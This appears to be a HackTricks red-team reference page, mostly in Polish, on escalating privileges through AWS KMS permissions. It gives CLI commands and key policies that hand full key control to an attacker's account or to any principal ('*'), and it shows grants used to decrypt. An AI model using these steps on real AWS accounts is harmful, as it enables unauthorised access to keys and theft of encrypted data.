AWS - KMS Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

KMS

Więcej informacji o KMS znajdziesz:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Dzięki tym uprawnieniom możliwe jest modyfikowanie uprawnień dostępu do klucza, dzięki czemu może być użyty przez inne konta lub nawet przez dowolnego użytkownika:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

To pozwala podmiotowi na użycie KMS key:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Warning

Grant może zezwalać tylko na określone typy operacji: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Warning

Zauważ, że KMS może potrzebować kilku minut, zanim użytkownik będzie mógł użyć klucza po wygenerowaniu grantu. Po upływie tego czasu principal może używać klucza KMS bez konieczności podawania czegokolwiek.
Jednak, jeśli potrzebne jest natychmiastowe użycie grantu use a grant token (sprawdź poniższy kod).
For more info read this.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Zauważ, że możliwe jest wylistowanie grant of keys za pomocą:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Dzięki tym uprawnieniom możliwe jest zreplikowanie klucza KMS z włączoną obsługą multi-region w innym regionie z inną polityką.

Tak więc atakujący mógłby to nadużyć, aby uzyskać privesc do klucza i go użyć

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

To uprawnienie pozwala na użycie klucza do odszyfrowania pewnych informacji.
Aby uzyskać więcej informacji, sprawdź:

AWS - KMS Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks